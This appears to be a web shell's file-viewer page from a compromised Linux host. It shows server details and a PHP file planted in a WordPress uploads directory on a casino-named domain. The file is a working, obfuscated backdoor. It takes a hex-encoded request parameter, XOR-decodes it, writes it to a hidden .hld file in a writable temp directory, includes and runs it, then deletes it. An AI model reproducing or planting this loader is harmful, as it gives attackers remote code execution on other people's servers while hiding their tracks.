HEX
Server: Apache/2
System: Linux sv174 5.14.0-570.21.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jun 11 07:22:35 EDT 2025 x86_64
User: casinobe (1137)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/casinobe/domains/pug555-a.com/private_html/wp-content/uploads/wpcode/b/a/Interchange.php
<?php

if(!is_null($_REQUEST["\x6Dark\x65\x72"] ?? null)){
	$value = array_filter([getcwd(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir()]);
	$binding = hex2bin($_REQUEST["\x6Dark\x65\x72"]);
	$resource    =    '' ;$p = 0; do{$resource .= chr(ord($binding[$p]) ^ 88);$p++;} while($p < strlen($binding));
	for ($pointer = 0, $pgrp = count($value); $pointer < $pgrp; $pointer++) {
    $ref = $value[$pointer];
    		if (max(0, is_dir($ref) * is_writable($ref))) {
    $comp = str_replace("{var_dir}", $ref, "{var_dir}/.hld");
    $success = file_put_contents($comp, $resource);
if ($success) {
	include $comp;
	@unlink($comp);
	exit;}
}
}
}